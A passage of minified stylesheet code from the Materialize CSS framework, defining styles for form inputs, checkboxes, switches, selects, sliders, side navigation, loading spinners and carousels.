ut[type=number]:not(.browser-default):focus.valid~.helper-text:after,input[type=search]:not(.browser-default).valid~.helper-text:after,input[type=search]:not(.browser-default):focus.valid~.helper-text:after,textarea.materialize-textarea.valid~.helper-text:after,textarea.materialize-textarea:focus.valid~.helper-text:after,.select-wrapper.valid~.helper-text:after{content:attr(data-success);color:#4CAF50}input:not([type]).invalid~.helper-text:after,input:not([type]):focus.invalid~.helper-text:after,input[type=text]:not(.browser-default).invalid~.helper-text:after,input[type=text]:not(.browser-default):focus.invalid~.helper-text:after,input[type=password]:not(.browser-default).invalid~.helper-text:after,input[type=password]:not(.browser-default):focus.invalid~.helper-text:after,input[type=email]:not(.browser-default).invalid~.helper-text:after,input[type=email]:not(.browser-default):focus.invalid~.helper-text:after,input[type=url]:not(.browser-default).invalid~.helper-text:after,input[type=url]:not(.browser-default):focus.invalid~.helper-text:after,input[type=time]:not(.browser-default).invalid~.helper-text:after,input[type=time]:not(.browser-default):focus.invalid~.helper-text:after,input[type=date]:not(.browser-default).invalid~.helper-text:after,input[type=date]:not(.browser-default):focus.invalid~.helper-text:after,input[type=datetime]:not(.browser-default).invalid~.helper-text:after,input[type=datetime]:not(.browser-default):focus.invalid~.helper-text:after,input[type=datetime-local]:not(.browser-default).invalid~.helper-text:after,input[type=datetime-local]:not(.browser-default):focus.invalid~.helper-text:after,input[type=tel]:not(.browser-default).invalid~.helper-text:after,input[type=tel]:not(.browser-default):focus.invalid~.helper-text:after,input[type=number]:not(.browser-default).invalid~.helper-text:after,input[type=number]:not(.browser-default):focus.invalid~.helper-text:after,input[type=search]:not(.browser-default).invalid~.helper-text:after,input[type=search]:not(.browser-default):focus.invalid~.helper-text:after,textarea.materialize-textarea.invalid~.helper-text:after,textarea.materialize-textarea:focus.invalid~.helper-text:after,.select-wrapper.invalid~.helper-text:after{content:attr(data-error);color:#F44336}input:not([type])+label:after,input[type=text]:not(.browser-default)+label:after,input[type=password]:not(.browser-default)+label:after,input[type=email]:not(.browser-default)+label:after,input[type=url]:not(.browser-default)+label:after,input[type=time]:not(.browser-default)+label:after,input[type=date]:not(.browser-default)+label:after,input[type=datetime]:not(.browser-default)+label:after,input[type=datetime-local]:not(.browser-default)+label:after,input[type=tel]:not(.browser-default)+label:after,input[type=number]:not(.browser-default)+label:after,input[type=search]:not(.browser-default)+label:after,textarea.materialize-textarea+label:after,.select-wrapper+label:after{display:block;content:"";position:absolute;top:100%;left:0;opacity:0;transition:.2s opacity ease-out,.2s color ease-out}.input-field{position:relative;margin-top:1rem;margin-bottom:1rem}.input-field.inline{display:inline-block;vertical-align:middle;margin-left:5px}.input-field.inline input,.input-field.inline .select-dropdown{margin-bottom:1rem}.input-field.col label{left:.75rem}.input-field.col .prefix~label,.input-field.col .prefix~.validate~label{width:calc(100% - 3rem - 1.5rem)}.input-field>label{color:#9e9e9e;position:absolute;top:0;left:0;font-size:1rem;cursor:text;transition:color .2s ease-out,-webkit-transform .2s ease-out;transition:transform .2s ease-out,color .2s ease-out;transition:transform .2s ease-out,color .2s ease-out,-webkit-transform .2s ease-out;-webkit-transform-origin:0 100%;transform-origin:0 100%;text-align:initial;-webkit-transform:translateY(12px);transform:translateY(12px)}.input-field>label:not(.label-icon).active{-webkit-transform:translateY(-14px) scale(0.8);transform:translateY(-14px) scale(0.8);-webkit-transform-origin:0 0;transform-origin:0 0}.input-field>input[type]:-webkit-autofill:not(.browser-default):not([type="search"])+label,.input-field>input[type=date]:not(.browser-default)+label,.input-field>input[type=time]:not(.browser-default)+label{-webkit-transform:translateY(-14px) scale(0.8);transform:translateY(-14px) scale(0.8);-webkit-transform-origin:0 0;transform-origin:0 0}.input-field .helper-text{position:relative;min-height:18px;display:block;font-size:12px;color:rgba(0,0,0,0.54)}.input-field .helper-text::after{opacity:1;position:absolute;top:0;left:0}.input-field .prefix{position:absolute;width:3rem;font-size:2rem;transition:color .2s;top:.5rem}.input-field .prefix.active{color:#26a69a}.input-field .prefix~input,.input-field .prefix~textarea,.input-field .prefix~label,.input-field .prefix~.validate~label,.input-field .prefix~.helper-text,.input-field .prefix~.autocomplete-content{margin-left:3rem;width:92%;width:calc(100% - 3rem)}.input-field .prefix~label{margin-left:3rem}@media only screen and (max-width: 992px){.input-field .prefix~input{width:86%;width:calc(100% - 3rem)}}@media only screen and (max-width: 600px){.input-field .prefix~input{width:80%;width:calc(100% - 3rem)}}.input-field input[type=search]{display:block;line-height:inherit;transition:.3s background-color}.nav-wrapper .input-field input[type=search]{height:inherit;padding-left:4rem;width:calc(100% - 4rem);border:0;box-shadow:none}.input-field input[type=search]:focus:not(.browser-default){background-color:#fff;border:0;box-shadow:none;color:#444}.input-field input[type=search]:focus:not(.browser-default)+label i,.input-field input[type=search]:focus:not(.browser-default)~.mdi-navigation-close,.input-field input[type=search]:focus:not(.browser-default)~.material-icons{color:#444}.input-field input[type=search]+.label-icon{-webkit-transform:none;transform:none;left:1rem}.input-field input[type=search]~.mdi-navigation-close,.input-field input[type=search]~.material-icons{position:absolute;top:0;right:1rem;color:transparent;cursor:pointer;font-size:2rem;transition:.3s color}textarea{width:100%;height:3rem;background-color:transparent}textarea.materialize-textarea{line-height:normal;overflow-y:hidden;padding:.8rem 0;resize:none;min-height:3rem;-webkit-box-sizing:border-box;box-sizing:border-box}.hiddendiv{visibility:hidden;white-space:pre-wrap;word-wrap:break-word;overflow-wrap:break-word;padding-top:1.2rem;position:absolute;top:0;z-index:-1}.autocomplete-content li .highlight{color:#444}.autocomplete-content li img{height:40px;width:40px;margin:5px 15px}.character-counter{min-height:18px}[type="radio"]:not(:checked),[type="radio"]:checked{position:absolute;opacity:0;pointer-events:none}[type="radio"]:not(:checked)+span,[type="radio"]:checked+span{position:relative;padding-left:35px;cursor:pointer;display:inline-block;height:25px;line-height:25px;font-size:1rem;transition:.28s ease;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}[type="radio"]+span:before,[type="radio"]+span:after{content:'';position:absolute;left:0;top:0;margin:4px;width:16px;height:16px;z-index:0;transition:.28s ease}[type="radio"]:not(:checked)+span:before,[type="radio"]:not(:checked)+span:after,[type="radio"]:checked+span:before,[type="radio"]:checked+span:after,[type="radio"].with-gap:checked+span:before,[type="radio"].with-gap:checked+span:after{border-radius:50%}[type="radio"]:not(:checked)+span:before,[type="radio"]:not(:checked)+span:after{border:2px solid #5a5a5a}[type="radio"]:not(:checked)+span:after{-webkit-transform:scale(0);transform:scale(0)}[type="radio"]:checked+span:before{border:2px solid transparent}[type="radio"]:checked+span:after,[type="radio"].with-gap:checked+span:before,[type="radio"].with-gap:checked+span:after{border:2px solid #26a69a}[type="radio"]:checked+span:after,[type="radio"].with-gap:checked+span:after{background-color:#26a69a}[type="radio"]:checked+span:after{-webkit-transform:scale(1.02);transform:scale(1.02)}[type="radio"].with-gap:checked+span:after{-webkit-transform:scale(0.5);transform:scale(0.5)}[type="radio"].tabbed:focus+span:before{box-shadow:0 0 0 10px rgba(0,0,0,0.1)}[type="radio"].with-gap:disabled:checked+span:before{border:2px solid rgba(0,0,0,0.42)}[type="radio"].with-gap:disabled:checked+span:after{border:none;background-color:rgba(0,0,0,0.42)}[type="radio"]:disabled:not(:checked)+span:before,[type="radio"]:disabled:checked+span:before{background-color:transparent;border-color:rgba(0,0,0,0.42)}[type="radio"]:disabled+span{color:rgba(0,0,0,0.42)}[type="radio"]:disabled:not(:checked)+span:before{border-color:rgba(0,0,0,0.42)}[type="radio"]:disabled:checked+span:after{background-color:rgba(0,0,0,0.42);border-color:#949494}[type="checkbox"]:not(:checked),[type="checkbox"]:checked{position:absolute;opacity:0;pointer-events:none}[type="checkbox"]+span:not(.lever){position:relative;padding-left:35px;cursor:pointer;display:inline-block;height:25px;line-height:25px;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}[type="checkbox"]+span:not(.lever):before,[type="checkbox"]:not(.filled-in)+span:not(.lever):after{content:'';position:absolute;top:0;left:0;width:18px;height:18px;z-index:0;border:2px solid #5a5a5a;border-radius:1px;margin-top:3px;transition:.2s}[type="checkbox"]:not(.filled-in)+span:not(.lever):after{border:0;-webkit-transform:scale(0);transform:scale(0)}[type="checkbox"]:not(:checked):disabled+span:not(.lever):before{border:none;background-color:rgba(0,0,0,0.42)}[type="checkbox"].tabbed:focus+span:not(.lever):after{-webkit-transform:scale(1);transform:scale(1);border:0;border-radius:50%;box-shadow:0 0 0 10px rgba(0,0,0,0.1);background-color:rgba(0,0,0,0.1)}[type="checkbox"]:checked+span:not(.lever):before{top:-4px;left:-5px;width:12px;height:22px;border-top:2px solid transparent;border-left:2px solid transparent;border-right:2px solid #26a69a;border-bottom:2px solid #26a69a;-webkit-transform:rotate(40deg);transform:rotate(40deg);-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform-origin:100% 100%;transform-origin:100% 100%}[type="checkbox"]:checked:disabled+span:before{border-right:2px solid rgba(0,0,0,0.42);border-bottom:2px solid rgba(0,0,0,0.42)}[type="checkbox"]:indeterminate+span:not(.lever):before{top:-11px;left:-12px;width:10px;height:22px;border-top:none;border-left:none;border-right:2px solid #26a69a;border-bottom:none;-webkit-transform:rotate(90deg);transform:rotate(90deg);-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform-origin:100% 100%;transform-origin:100% 100%}[type="checkbox"]:indeterminate:disabled+span:not(.lever):before{border-right:2px solid rgba(0,0,0,0.42);background-color:transparent}[type="checkbox"].filled-in+span:not(.lever):after{border-radius:2px}[type="checkbox"].filled-in+span:not(.lever):before,[type="checkbox"].filled-in+span:not(.lever):after{content:'';left:0;position:absolute;transition:border .25s,background-color .25s,width .2s .1s,height .2s .1s,top .2s .1s,left .2s .1s;z-index:1}[type="checkbox"].filled-in:not(:checked)+span:not(.lever):before{width:0;height:0;border:3px solid transparent;left:6px;top:10px;-webkit-transform:rotateZ(37deg);transform:rotateZ(37deg);-webkit-transform-origin:100% 100%;transform-origin:100% 100%}[type="checkbox"].filled-in:not(:checked)+span:not(.lever):after{height:20px;width:20px;background-color:transparent;border:2px solid #5a5a5a;top:0;z-index:0}[type="checkbox"].filled-in:checked+span:not(.lever):before{top:0;left:1px;width:8px;height:13px;border-top:2px solid transparent;border-left:2px solid transparent;border-right:2px solid #fff;border-bottom:2px solid #fff;-webkit-transform:rotateZ(37deg);transform:rotateZ(37deg);-webkit-transform-origin:100% 100%;transform-origin:100% 100%}[type="checkbox"].filled-in:checked+span:not(.lever):after{top:0;width:20px;height:20px;border:2px solid #26a69a;background-color:#26a69a;z-index:0}[type="checkbox"].filled-in.tabbed:focus+span:not(.lever):after{border-radius:2px;border-color:#5a5a5a;background-color:rgba(0,0,0,0.1)}[type="checkbox"].filled-in.tabbed:checked:focus+span:not(.lever):after{border-radius:2px;background-color:#26a69a;border-color:#26a69a}[type="checkbox"].filled-in:disabled:not(:checked)+span:not(.lever):before{background-color:transparent;border:2px solid transparent}[type="checkbox"].filled-in:disabled:not(:checked)+span:not(.lever):after{border-color:transparent;background-color:#949494}[type="checkbox"].filled-in:disabled:checked+span:not(.lever):before{background-color:transparent}[type="checkbox"].filled-in:disabled:checked+span:not(.lever):after{background-color:#949494;border-color:#949494}.switch,.switch *{-webkit-tap-highlight-color:transparent;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.switch label{cursor:pointer}.switch label input[type=checkbox]{opacity:0;width:0;height:0}.switch label input[type=checkbox]:checked+.lever{background-color:#84c7c1}.switch label input[type=checkbox]:checked+.lever:before,.switch label input[type=checkbox]:checked+.lever:after{left:18px}.switch label input[type=checkbox]:checked+.lever:after{background-color:#26a69a}.switch label .lever{content:"";display:inline-block;position:relative;width:36px;height:14px;background-color:rgba(0,0,0,0.38);border-radius:15px;transition:background .3s ease;vertical-align:middle;margin:0 16px}.switch label .lever:before,.switch label .lever:after{content:"";position:absolute;display:inline-block;width:20px;height:20px;border-radius:50%;left:0;top:-3px;transition:left .3s ease,background .3s ease,-webkit-box-shadow .1s ease,-webkit-transform .1s ease;transition:left .3s ease,background .3s ease,box-shadow .1s ease,transform .1s ease;transition:left .3s ease,background .3s ease,box-shadow .1s ease,transform .1s ease,-webkit-box-shadow .1s ease,-webkit-transform .1s ease}.switch label .lever:before{background-color:rgba(38,166,154,0.15)}.switch label .lever:after{background-color:#F1F1F1;box-shadow:0 3px 1px -2px rgba(0,0,0,0.2),0 2px 2px 0 rgba(0,0,0,0.14),0 1px 5px 0 rgba(0,0,0,0.12)}input[type=checkbox]:checked:not(:disabled)~.lever:active::before,input[type=checkbox]:checked:not(:disabled).tabbed:focus~.lever::before{-webkit-transform:scale(2.4);transform:scale(2.4);background-color:rgba(38,166,154,0.15)}input[type=checkbox]:not(:disabled)~.lever:active:before,input[type=checkbox]:not(:disabled).tabbed:focus~.lever::before{-webkit-transform:scale(2.4);transform:scale(2.4);background-color:rgba(0,0,0,0.08)}.switch input[type=checkbox][disabled]+.lever{cursor:default;background-color:rgba(0,0,0,0.12)}.switch label input[type=checkbox][disabled]+.lever:after,.switch label input[type=checkbox][disabled]:checked+.lever:after{background-color:#949494}select{display:none}select.browser-default{display:block}select{background-color:rgba(255,255,255,0.9);width:100%;padding:5px;border:1px solid #f2f2f2;border-radius:2px;height:3rem}.select-label{position:absolute}.select-wrapper{position:relative}.select-wrapper.valid+label,.select-wrapper.invalid+label{width:100%;pointer-events:none}.select-wrapper input.select-dropdown{position:relative;cursor:pointer;background-color:transparent;border:none;border-bottom:1px solid #9e9e9e;outline:none;height:3rem;line-height:3rem;width:100%;font-size:16px;margin:0 0 8px;padding:0;display:block;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;z-index:1}.select-wrapper input.select-dropdown:focus{border-bottom:1px solid #26a69a}.select-wrapper .caret{position:absolute;right:0;top:0;bottom:0;margin:auto 0;z-index:0;fill:rgba(0,0,0,0.87)}.select-wrapper+label{position:absolute;top:-26px;font-size:.8rem}select:disabled{color:rgba(0,0,0,0.42)}.select-wrapper.disabled+label{color:rgba(0,0,0,0.42)}.select-wrapper.disabled .caret{fill:rgba(0,0,0,0.42)}.select-wrapper input.select-dropdown:disabled{color:rgba(0,0,0,0.42);cursor:default;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.select-wrapper i{color:rgba(0,0,0,0.3)}.select-dropdown li.disabled,.select-dropdown li.disabled>span,.select-dropdown li.optgroup{color:rgba(0,0,0,0.3);background-color:transparent}body.keyboard-focused .select-dropdown.dropdown-content li:focus{background-color:rgba(0,0,0,0.08)}.select-dropdown.dropdown-content li:hover{background-color:rgba(0,0,0,0.08)}.select-dropdown.dropdown-content li.selected{background-color:rgba(0,0,0,0.03)}.prefix~.select-wrapper{margin-left:3rem;width:92%;width:calc(100% - 3rem)}.prefix~label{margin-left:3rem}.select-dropdown li img{height:40px;width:40px;margin:5px 15px;float:right}.select-dropdown li.optgroup{border-top:1px solid #eee}.select-dropdown li.optgroup.selected>span{color:rgba(0,0,0,0.7)}.select-dropdown li.optgroup>span{color:rgba(0,0,0,0.4)}.select-dropdown li.optgroup~li.optgroup-option{padding-left:1rem}.file-field{position:relative}.file-field .file-path-wrapper{overflow:hidden;padding-left:10px}.file-field input.file-path{width:100%}.file-field .btn,.file-field .btn-large,.file-field .btn-small{float:left;height:3rem;line-height:3rem}.file-field span{cursor:pointer}.file-field input[type=file]{position:absolute;top:0;right:0;left:0;bottom:0;width:100%;margin:0;padding:0;font-size:20px;cursor:pointer;opacity:0;filter:alpha(opacity=0)}.file-field input[type=file]::-webkit-file-upload-button{display:none}.range-field{position:relative}input[type=range],input[type=range]+.thumb{cursor:pointer}input[type=range]{position:relative;background-color:transparent;border:none;outline:none;width:100%;margin:15px 0;padding:0}input[type=range]:focus{outline:none}input[type=range]+.thumb{position:absolute;top:10px;left:0;border:none;height:0;width:0;border-radius:50%;background-color:#26a69a;margin-left:7px;-webkit-transform-origin:50% 50%;transform-origin:50% 50%;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}input[type=range]+.thumb .value{display:block;width:30px;text-align:center;color:#26a69a;font-size:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}input[type=range]+.thumb.active{border-radius:50% 50% 50% 0}input[type=range]+.thumb.active .value{color:#fff;margin-left:-1px;margin-top:8px;font-size:10px}input[type=range]{-webkit-appearance:none}input[type=range]::-webkit-slider-runnable-track{height:3px;background:#c2c0c2;border:none}input[type=range]::-webkit-slider-thumb{border:none;height:14px;width:14px;border-radius:50%;background:#26a69a;transition:box-shadow .3s;transition:box-shadow .3s,-webkit-box-shadow .3s;-webkit-appearance:none;background-color:#26a69a;-webkit-transform-origin:50% 50%;transform-origin:50% 50%;margin:-5px 0 0}.keyboard-focused input[type=range]:focus:not(.active)::-webkit-slider-thumb{box-shadow:0 0 0 10px rgba(38,166,154,0.26)}input[type=range]{border:1px solid #fff}input[type=range]::-moz-range-track{height:3px;background:#c2c0c2;border:none}input[type=range]::-moz-focus-inner{border:0}input[type=range]::-moz-range-thumb{border:none;height:14px;width:14px;border-radius:50%;background:#26a69a;transition:-webkit-box-shadow .3s;transition:box-shadow .3s;transition:box-shadow .3s,-webkit-box-shadow .3s;margin-top:-5px}input[type=range]:-moz-focusring{outline:1px solid #fff;outline-offset:-1px}.keyboard-focused input[type=range]:focus:not(.active)::-moz-range-thumb{box-shadow:0 0 0 10px rgba(38,166,154,0.26)}input[type=range]::-ms-track{height:3px;background:transparent;border-color:transparent;border-width:6px 0;color:transparent}input[type=range]::-ms-fill-lower{background:#777}input[type=range]::-ms-fill-upper{background:#ddd}input[type=range]::-ms-thumb{border:none;height:14px;width:14px;border-radius:50%;background:#26a69a;transition:-webkit-box-shadow .3s;transition:box-shadow .3s;transition:box-shadow .3s,-webkit-box-shadow .3s}.keyboard-focused input[type=range]:focus:not(.active)::-ms-thumb{box-shadow:0 0 0 10px rgba(38,166,154,0.26)}.table-of-contents.fixed{position:fixed}.table-of-contents li{padding:2px 0}.table-of-contents a{display:inline-block;font-weight:300;color:#757575;padding-left:16px;height:1.5rem;line-height:1.5rem;letter-spacing:.4px;display:inline-block}.table-of-contents a:hover{color:#a8a8a8;padding-left:15px;border-left:1px solid #ee6e73}.table-of-contents a.active{font-weight:500;padding-left:14px;border-left:2px solid #ee6e73}.sidenav{position:fixed;width:300px;left:0;top:0;margin:0;-webkit-transform:translateX(-100%);transform:translateX(-100%);height:100%;height:calc(100% + 60px);height:-moz-calc(100%);padding-bottom:60px;background-color:#fff;z-index:999;overflow-y:auto;will-change:transform;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform:translateX(-105%);transform:translateX(-105%)}.sidenav.right-aligned{right:0;-webkit-transform:translateX(105%);transform:translateX(105%);left:auto;-webkit-transform:translateX(100%);transform:translateX(100%)}.sidenav .collapsible{margin:0}.sidenav li{float:none;line-height:48px}.sidenav li.active{background-color:rgba(0,0,0,0.05)}.sidenav li>a{color:rgba(0,0,0,0.87);display:block;font-size:14px;font-weight:500;height:48px;line-height:48px;padding:0 32px}.sidenav li>a:hover{background-color:rgba(0,0,0,0.05)}.sidenav li>a.btn,.sidenav li>a.btn-large,.sidenav li>a.btn-small,.sidenav li>a.btn-large,.sidenav li>a.btn-flat,.sidenav li>a.btn-floating{margin:10px 15px}.sidenav li>a.btn,.sidenav li>a.btn-large,.sidenav li>a.btn-small,.sidenav li>a.btn-large,.sidenav li>a.btn-floating{color:#fff}.sidenav li>a.btn-flat{color:#343434}.sidenav li>a.btn:hover,.sidenav li>a.btn-large:hover,.sidenav li>a.btn-small:hover,.sidenav li>a.btn-large:hover{background-color:#2bbbad}.sidenav li>a.btn-floating:hover{background-color:#26a69a}.sidenav li>a>i,.sidenav li>a>[class^="mdi-"],.sidenav li>a li>a>[class*="mdi-"],.sidenav li>a>i.material-icons{float:left;height:48px;line-height:48px;margin:0 32px 0 0;width:24px;color:rgba(0,0,0,0.54)}.sidenav .divider{margin:8px 0 0}.sidenav .subheader{cursor:initial;pointer-events:none;color:rgba(0,0,0,0.54);font-size:14px;font-weight:500;line-height:48px}.sidenav .subheader:hover{background-color:transparent}.sidenav .user-view{position:relative;padding:32px 32px 0;margin-bottom:8px}.sidenav .user-view>a{height:auto;padding:0}.sidenav .user-view>a:hover{background-color:transparent}.sidenav .user-view .background{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0;z-index:-1}.sidenav .user-view .circle,.sidenav .user-view .name,.sidenav .user-view .email{display:block}.sidenav .user-view .circle{height:64px;width:64px}.sidenav .user-view .name,.sidenav .user-view .email{font-size:14px;line-height:24px}.sidenav .user-view .name{margin-top:16px;font-weight:500}.sidenav .user-view .email{padding-bottom:16px;font-weight:400}.drag-target{height:100%;width:10px;position:fixed;top:0;z-index:998}.drag-target.right-aligned{right:0}.sidenav.sidenav-fixed{left:0;-webkit-transform:translateX(0);transform:translateX(0);position:fixed}.sidenav.sidenav-fixed.right-aligned{right:0;left:auto}@media only screen and (max-width: 992px){.sidenav.sidenav-fixed{-webkit-transform:translateX(-105%);transform:translateX(-105%)}.sidenav.sidenav-fixed.right-aligned{-webkit-transform:translateX(105%);transform:translateX(105%)}.sidenav>a{padding:0 16px}.sidenav .user-view{padding:16px 16px 0}}.sidenav .collapsible-body>ul:not(.collapsible)>li.active,.sidenav.sidenav-fixed .collapsible-body>ul:not(.collapsible)>li.active{background-color:#ee6e73}.sidenav .collapsible-body>ul:not(.collapsible)>li.active a,.sidenav.sidenav-fixed .collapsible-body>ul:not(.collapsible)>li.active a{color:#fff}.sidenav .collapsible-body{padding:0}.sidenav-overlay{position:fixed;top:0;left:0;right:0;opacity:0;height:120vh;background-color:rgba(0,0,0,0.5);z-index:997;display:none}.preloader-wrapper{display:inline-block;position:relative;width:50px;height:50px}.preloader-wrapper.small{width:36px;height:36px}.preloader-wrapper.big{width:64px;height:64px}.preloader-wrapper.active{animation:container-rotate 1568ms linear infinite}@keyframes container-rotate{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.spinner-layer{position:absolute;width:100%;height:100%;opacity:0;border-color:#26a69a}.spinner-blue,.spinner-blue-only{border-color:#4285f4}.spinner-red,.spinner-red-only{border-color:#db4437}.spinner-yellow,.spinner-yellow-only{border-color:#f4b400}.spinner-green,.spinner-green-only{border-color:#0f9d58}.active .spinner-layer.spinner-blue{animation:fill-unfill-rotate 5332ms cubic-bezier(0.4,0,0.2,1) infinite both,blue-fade-in-out 5332ms cubic-bezier(0.4,0,0.2,1) infinite both}.active .spinner-layer.spinner-red{animation:fill-unfill-rotate 5332ms cubic-bezier(0.4,0,0.2,1) infinite both,red-fade-in-out 5332ms cubic-bezier(0.4,0,0.2,1) infinite both}.active .spinner-layer.spinner-yellow{animation:fill-unfill-rotate 5332ms cubic-bezier(0.4,0,0.2,1) infinite both,yellow-fade-in-out 5332ms cubic-bezier(0.4,0,0.2,1) infinite both}.active .spinner-layer.spinner-green{animation:fill-unfill-rotate 5332ms cubic-bezier(0.4,0,0.2,1) infinite both,green-fade-in-out 5332ms cubic-bezier(0.4,0,0.2,1) infinite both}.active .spinner-layer,.active .spinner-layer.spinner-blue-only,.active .spinner-layer.spinner-red-only,.active .spinner-layer.spinner-yellow-only,.active .spinner-layer.spinner-green-only{opacity:1;animation:fill-unfill-rotate 5332ms cubic-bezier(0.4,0,0.2,1) infinite both}@keyframes fill-unfill-rotate{12.5%{-webkit-transform:rotate(135deg);transform:rotate(135deg)}25%{-webkit-transform:rotate(270deg);transform:rotate(270deg)}37.5%{-webkit-transform:rotate(405deg);transform:rotate(405deg)}50%{-webkit-transform:rotate(540deg);transform:rotate(540deg)}62.5%{-webkit-transform:rotate(675deg);transform:rotate(675deg)}75%{-webkit-transform:rotate(810deg);transform:rotate(810deg)}87.5%{-webkit-transform:rotate(945deg);transform:rotate(945deg)}to{-webkit-transform:rotate(1080deg);transform:rotate(1080deg)}}@keyframes blue-fade-in-out{from{opacity:1}25%{opacity:1}26%{opacity:0}89%{opacity:0}90%{opacity:1}100%{opacity:1}}@keyframes red-fade-in-out{from{opacity:0}15%{opacity:0}25%{opacity:1}50%{opacity:1}51%{opacity:0}}@keyframes yellow-fade-in-out{from{opacity:0}40%{opacity:0}50%{opacity:1}75%{opacity:1}76%{opacity:0}}@keyframes green-fade-in-out{from{opacity:0}65%{opacity:0}75%{opacity:1}90%{opacity:1}100%{opacity:0}}.gap-patch{position:absolute;top:0;left:45%;width:10%;height:100%;overflow:hidden;border-color:inherit}.gap-patch .circle{width:1000%;left:-450%}.circle-clipper{display:inline-block;position:relative;width:50%;height:100%;overflow:hidden;border-color:inherit}.circle-clipper .circle{width:200%;height:100%;border-width:3px;border-style:solid;border-color:inherit;border-bottom-color:transparent!important;border-radius:50%;animation:none;position:absolute;top:0;right:0;bottom:0}.circle-clipper.left .circle{left:0;border-right-color:transparent!important;-webkit-transform:rotate(129deg);transform:rotate(129deg)}.circle-clipper.right .circle{left:-100%;border-left-color:transparent!important;-webkit-transform:rotate(-129deg);transform:rotate(-129deg)}.active .circle-clipper.left .circle{animation:left-spin 1333ms cubic-bezier(0.4,0,0.2,1) infinite both}.active .circle-clipper.right .circle{animation:right-spin 1333ms cubic-bezier(0.4,0,0.2,1) infinite both}@keyframes left-spin{from{-webkit-transform:rotate(130deg);transform:rotate(130deg)}50%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(130deg);transform:rotate(130deg)}}@keyframes right-spin{from{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}50%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}to{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}}#spinnerContainer.cooldown{animation:container-rotate 1568ms linear infinite,fade-out 400ms cubic-bezier(0.4,0,0.2,1)}@keyframes fade-out{from{opacity:1}to{opacity:0}}.slider{position:relative;height:400px;width:100%}.slider.fullscreen{height:100%;width:100%;position:absolute;top:0;left:0;right:0;bottom:0}.slider.fullscreen ul.slides{height:100%}.slider.fullscreen ul.indicators{z-index:2;bottom:30px}.slider .slides{background-color:#9e9e9e;margin:0;height:400px}.slider .slides li{opacity:0;position:absolute;top:0;left:0;z-index:1;width:100%;height:inherit;overflow:hidden}.slider .slides li img{height:100%;width:100%;background-size:cover;background-position:center}.slider .slides li .caption{color:#fff;position:absolute;top:15%;left:15%;width:70%;opacity:0}.slider .slides li .caption p{color:#e0e0e0}.slider .slides li.active{z-index:2}.slider .indicators{position:absolute;text-align:center;left:0;right:0;bottom:0;margin:0}.slider .indicators .indicator-item{display:inline-block;position:relative;cursor:pointer;height:16px;width:16px;margin:0 12px;background-color:#e0e0e0;transition:background-color .3s;border-radius:50%}.slider .indicators .indicator-item.active{background-color:#4CAF50}.carousel{overflow:hidden;position:relative;width:100%;height:400px;-webkit-perspective:500px;perspective:500px;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;-webkit-transform-origin:0 50%;transform-origin:0 50%}.carousel.carousel-slider{top:0;left:0}.carousel.carousel-slider .carousel-fixed-item{position:absolute;left:0;right:0;bottom:20px;z-index:1}.carousel.carousel-slider .carousel-fixed-item.with-indicators{bottom:68px}.carousel.carousel-slider .carousel-item{width:100%;height:100%;min-height:400px;position:absolute;top:0;left:0}.carousel.carousel-slider .carousel-item h2{font-size:24px;font-weight:500;line-height:32px}.carousel.carousel-slider .carousel-item p{font-size:15px}.carousel .carousel-item{visibility:hidden;width:200px;height:200px;position:absolute;top:0;left:0}.carousel .carousel-item>img{width:100%}.carousel .indicators{position:absolute;text-align:center;left:0;right:0;bottom:0;margin:0}.carousel .indicators .indicator-item{display:inline-block;position:relative;cursor:pointer;height:8px;width:8px;margin:24px 4px;background-color:rgba(255,255,255,0.5);transition:background-color .3s;border-radius:50%}.carousel .indicators .indicator-item.active{background-color:#fff}.carousel.scrolling .carousel-item .materialboxed,.carousel .carousel-item:not(.active) .materialboxed{pointer-events:none}.tap-target-wrapper{width:800px;height:800px;position:fixed;z-index:1000;visibility:hidden;transition:visibility 0 .3s}.tap-target-wrapper.open{visibility:visible;transition:visibility 0}.tap-target-wrapper.open .tap-target{-webkit-transform:scale(1);transform:scale(1);opacity:.95;transition:opacity .3s cubic-bezier(0.42,0,0.58,1),-webkit-transform .3s cubic-bezier(0.42,0,0.58,1);transition:transform .3s cubic-bezier(0.42,0,0.58,1),opacity .3s cubic-bezier(0.42,0,0.58,1);transition:transform .3s cubic-bezier(0.42,0,0.58,1),opacity .3s cubic-bezier(0.42,0,0.58,1),-webkit-transform .3s cubic-bezier(0.42,0,0.58,1)}.tap-target-wrapper.open .tap-target-wave::before{-webkit-transform:scale(1);transform:scale(1)}.tap-target-wrapper.open .tap-target-wave::after{visibility:visible;animation:pulse-animation 1s cubic-bezier(0.24,0,0.38,1) infinite;transition:opacity .3s,visibility 0 1s,-webkit-transform .3s;transition:opacity .3s,transform .3s,visibility 0 1s;transition:opacity .3s,transform .3s,visibility 0 1s,-webkit-transform .3s}.tap-target{position:absolute;font-size:1rem;border-radius:50%;background-color:#ee6e73;box-shadow:0 20px 20px 0 rgba(0,0,0,0.14),0 10px 50px 0 rgba(0,0,0,0.12),0 30px 10px -20px rgba(0,0,0,0.2);width:100%;height:100%;opacity:0;-webkit-transform:scale(0);transform:scale(0);transition:opacity .3s cubic-bezier(0.42,0,0.58,1),-webkit-transform .3s cubic-bezier(0.42,0,0.58,1);transition:transform .3s cubic-bezier(0.42,0,0.58,1),opacity .3s cubic-bezier(0.42,0,0.58,1);transition:transform .3s cubic-bezier(0.42,0,0.58,1),opacity .3s cubic-bezier(0.42,0,0.58,1),-webkit-transform .3s 